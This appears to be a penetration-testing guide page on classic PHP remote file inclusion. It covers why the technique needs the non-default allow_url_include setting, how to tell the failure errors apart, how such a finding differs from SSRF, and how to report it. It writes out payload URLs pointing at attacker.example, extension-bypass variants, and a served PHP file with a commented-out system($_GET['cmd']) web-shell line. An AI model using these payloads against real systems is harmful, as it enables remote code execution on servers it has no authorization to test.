Classic RFI
The textbook payload: point the include at a file on your own host. It requires a configuration PHP stopped shipping in 2006, and it is still the first thing everyone tries.
The payload everyone knows
Serve a file containing PHP source from a host you control, point the target's include() at it, and the target fetches and executes your code.
It is the cleanest possible outcome from an inclusion bug and it is why the technique has a name. It also requires allow_url_include=On, which PHP has shipped Off since 5.2.0 in November 2006.
This guide is here for three reasons: you will still meet it on legacy and embedded targets, you need to be able to state precisely why it failed, and the reading half of the same mechanism is very much alive on default configurations and is regularly misreported as this.
The payload
# Your host serves shell.txt with a text/plain content type.
# The extension does not matter; what matters is that YOUR server does
# not execute it, so the target receives the source rather than the output.
http://attacker.example/shell.txt
# If the sink appends an extension, terminate the URL with a query string.
# 'shell.txt?' + '.php' -> shell.txt?.php — the suffix becomes a query param.
http://attacker.example/shell.txt?
# Or a fragment, which the server never sees at all.
http://attacker.example/shell.txt%23
# Sometimes ftp:// slips past a denylist matching on the string "http".
ftp://attacker.example/shell.txtWhat to serve
<?php
// Opening tag required: the target runs this through the PHP parser, and
// anything outside the tags is echoed as literal output rather than executed.
// A marker first. Confirm execution before doing anything noisier — a 200
// with your marker in it is the evidence, and it is quiet.
echo "rfi-page-marker-" . php_uname('n');
// Only then, and only within an authorized scope:
// system($_GET['cmd']);Why it fails, precisely
When this does not work you will get one of two errors, and they mean different things.
Warning: include(): URL file-access is disabled in the server configuration
This is allow_url_include=Off — the default. Remote inclusion is off. Remote reading may still work.
Warning: include(http://…): Failed to open stream: no suitable wrapper could be found
This is allow_url_fopen=Off. Both are off; nothing remote is reachable through the stream layer at all.
The distinction is not academic. On the default configuration:
| Call | Result on a stock PHP 8 |
|---|---|
include('http://attacker.example/x') | Blocked |
file_get_contents('http://attacker.example/x') | Works |
readfile('http://attacker.example/x') | Works |
copy('http://attacker.example/x', '/tmp/y') | Works |
If your sink is a reading one, you do not have RFI — you have server-side request forgery on a default configuration, which is its own finding with its own impact (internal network access, cloud metadata, port scanning) and its own fix. Report it as SSRF. Calling it "RFI that didn't execute" gets it triaged against the wrong control and usually gets it downgraded.
Where you will actually still find it
Rare is not never. In rough order of likelihood:
- Embedded devices and appliances. Routers, NAS boxes, IP cameras, industrial HMIs. Frozen PHP versions, vendor-set
php.ini, no update path. This is the largest remaining population by a wide margin. - Legacy applications carried forward. An
allow_url_include=Onset in 2005 to make something work, copied into every deployment since, never revisited. - Deliberately vulnerable targets. DVWA, bWAPP, and most CTF challenges enable it, which is a significant part of why the technique remains so over-represented in training material relative to real engagements.
- Shared hosting with a per-vhost override.
php_admin_flagin a vhost or a stray.user.ini. Worth checking if you can read either.
On a modern, patched, containerised PHP application, assume it is off and spend your time on PHP filter chains instead — that is the technique that works on the configuration you actually have.
Remote inclusion outside PHP
allow_url_include is a PHP flag, so it protects nothing anywhere else — but almost nowhere else has the sink to protect. See Remote Include Outside PHP for the cases that do exist: SSI #include virtual, JSP includes, XSLT document(), and ESM import() of a data: URL.
On Windows there is one genuinely live remote-inclusion path in PHP, and it is not governed by allow_url_include at all, because it goes through the filesystem rather than the stream layer: a UNC path. See SMB and UNC Inclusion.
Reporting it
If it fires, this is straightforwardly critical — arbitrary code execution as the web user, no authentication required, no user interaction.
The two things to include that reports usually omit:
State the configuration. allow_url_include=On is not the default, and a triager who tests on a stock build will not reproduce you. Say it explicitly and say how you determined it — the error message you didn't get is evidence.
Rate the complexity honestly. Requiring a non-default php.ini is genuinely AC:H. It is still critical impact; the vector should say the condition exists rather than implying a stock host is affected. Overstating it is how a real finding gets argued down to nothing over three rounds of triage.
Related
Classic RFI has been off by default since 2006 and the null byte died in 2010. Here is what replaced them, and why most material on this topic is describing a target that no longer exists.
Carry the payload inside the URL itself. No outbound connection, no host to serve from — and gated by exactly the same flag as http://, despite never touching the network.
On Windows a UNC path is a filesystem path, not a URL. allow_url_include never sees it — which makes this the one remote inclusion that survives the default configuration.
Only PHP has an allow_url_include to turn off — but almost nowhere else has the sink it protects. Here is where remote inclusion genuinely exists outside PHP.
Stack enough iconv conversions and php://filter stops reading files and starts producing them. A read-only primitive becomes code execution on a completely stock php.ini — no upload, no writable directory, no outbound connection.